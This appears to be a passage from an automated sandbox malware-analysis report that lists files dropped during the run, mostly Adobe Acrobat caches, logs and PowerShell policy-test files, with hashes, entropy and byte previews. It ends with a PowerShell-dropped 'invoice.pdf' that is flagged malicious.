Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c2a3c98ed50dfcc66abb1cd7e232ef9d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568725000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d57a2c824321122aa4ad3b81dd992a1f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568725000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d006d10ee896d1db4a7a758abc81ab1e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568725000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ff15b1dc73e5c020068b0b9b665e34f4","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568725000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3421cf2719751698b9f0c8e3ae00e291","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568725000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"fbde7f0249bfa27dace5ef64bf2df845","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146582619064699
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs9+bRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUud2:TFl2GL7ms9+/Xc+XcGNFlRYIX2v3k6+x
MD5:	B44CA1B4ABE9ACA0334D21CDA5215E09
SHA1:	A1DF709D2AE2B3B586DF65E8DBE5E6E0A23B44ED
SHA-256:	DBB8224DA080AF7F74B53E0DCFCF250FA7ADDE091D44D68E42CE4C78BC06E4B7
SHA-512:	031B21A599EA4D647E4E3D73DBD6955CC6BE8A851607510C94C2B30D480B8D5D22A21CECDF92AF80AD856E2395F1FFC015A963722B3FFFC554038CB2A84E0993
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5533017788966497
Encrypted:	false
SSDEEP:	24:7+tq6+bUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux/WqLxx/g:7Mq6+oXc+XcGNFlRYIX2vvqVl2GL7ms6
MD5:	1594F4A22AE3392C332CE7DD0149C21B
SHA1:	69A16FC82E71FEEB922A7668787078C9659505F2
SHA-256:	B1208A162BA1293BE435A46BF17914E8D0C6E98782BD397F69D76D2AC6D66C58
SHA-512:	749D38FEBDB9CA262040EDF8384305E711A2DEB7BB0FB4B1CC0893BF3FFB859BDF0015D83BB90BA74F041275A1393067827B10BA77CB18A8D37AEE3D09DABEAF
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgne9QPpJ+XPXZ2QhpLxo3GBoOnd3UYyu:6a6TZ44ADEneaPnAoQhRJnpUK
MD5:	075D083A85828453DECF6FDDF3A2069A
SHA1:	85B57037F6337D0BABBD14DCA5514D36DCBD4135
SHA-256:	CB282EBB6F2ACA23EFA226F016C228775B2D8E882154E96679FF7BF725EF6C90
SHA-512:	E611B68873443FBAC2F30852DCBFBEE0F6E58E60D05243C2C8A38D7DBBA2C7D20606FA896BD19D8F211B8AD845A4809BF78C138BFF6A1F5FF0383E9BA6CD65D1
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfd2af.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClqlf9:Qw946cPbiOxDlbYnuRK+b9
MD5:	AD0295E5C16EF7F0FB620C340228015E
SHA1:	9F0EAEC93EC1B508B4F62E6F2826D67BB2CE2AAB
SHA-256:	2CCDD54E13A222020E6A6BF653CF7D9E44FEA5627F6DC614BD246564C2DDB0C4
SHA-512:	80380CB82FE66C64D2B8CAD1183B699614862382CFD5479005D393E3735A6E353F29B768FC89195435D7AA403D55B2FC733CDB1185BD06B4A161371CC638A95E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.2.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swyzlvfc.paf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwkll0tr.kma.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91unls7u_1s2t9m5_3zo.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ez8qrh_1s2t9m4_3zo.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-11-59-557.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.329788316440477
Encrypted:	false
SSDEEP:	384:vC+X+OxgrNqyPs16/9GK7ESBBOJ4oueIfwXxD7RoF+hI7zQA6HOmSLSb6/dS1m+x:47S
MD5:	C685DA19C00D772D85503ED2036B87AA
SHA1:	58D95D85BCA7436AF3CD10E3B19FB903CC9BE8D6
SHA-256:	9F5DB0E9C935B45AA72AB18BF2ACE30F930A4A35CC234EEDE37977EA6BD18510
SHA-512:	7FD10744B94E27B0B524599E090516853454DB43A363D7C60D3EDB46C204296575BFA7906B33AFA65D0B763730AEC5F0756119E96589D54ACEE1565B01C08915
Malicious:	false
Preview:	SessionID=b144fd51-f202-4e22-8f0c-64bd63de2ee0.1736568719732 Timestamp=2025-01-10T23:11:59:733-0500 ThreadID=7756 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b144fd51-f202-4e22-8f0c-64bd63de2ee0.1736568719732 Timestamp=2025-01-10T23:12:00:009-0500 ThreadID=7756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b144fd51-f202-4e22-8f0c-64bd63de2ee0.1736568719732 Timestamp=2025-01-10T23:12:00:009-0500 ThreadID=7756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b144fd51-f202-4e22-8f0c-64bd63de2ee0.1736568719732 Timestamp=2025-01-10T23:12:00:009-0500 ThreadID=7756 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b144fd51-f202-4e22-8f0c-64bd63de2ee0.1736568719732 Timestamp=2025-01-10T23:12:00:009-0500 ThreadID=7756 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395873287699899
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb5DcbuI7jcbsk:V3fOCIdJDefo7bk
MD5:	D91DAF6C6F7675E4AE1CD412864B4636
SHA1:	A9A3AC4033F6ABEFD92295BE633D10822BBA2130
SHA-256:	DA701A8C66404663B38F99E642A1BCFEB547BA82A716F23B6C1B6923064F6DE6
SHA-512:	6463A2BB90B283D10F00B3E24D6FC43210F002B699A31A8CC9BA85718EDD6644F6F2888D83F346916A8804EABF9FF696E1FA3A10E37561100222F7396C2A1010
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\68c0b255-8f5e-4531-ab74-2b4ac06fe3c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRmOWL07oXGZDYIGNP5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRbWLxXGZDZGT3mlind9i4ufFXpAXkru
MD5:	A2AF23BFB25885064F86DB8980E814B0
SHA1:	30ABA5B9BF57B4200654E9358FB477FB04EA43FA
SHA-256:	1D8CA891D055C1D27E067711ED9BA5B16CA8B299633EA0588384F503279F2B22
SHA-512:	032FFB067C7D7AC4EB5C9BF77075372DD721EFE0990FFB4BFADE7AD79DE0DC293879C4DE818A2CC6D8C5786FAAD379977D927EC5A006AED548B9E5754343B87B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8789f5d1-4d66-4159-bddb-d3accf329e57.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\cf9bb66e-920a-4259-8e47-74f416220169.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ec944aaf-6f2f-4d8a-b87e-19e5d3d82321.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
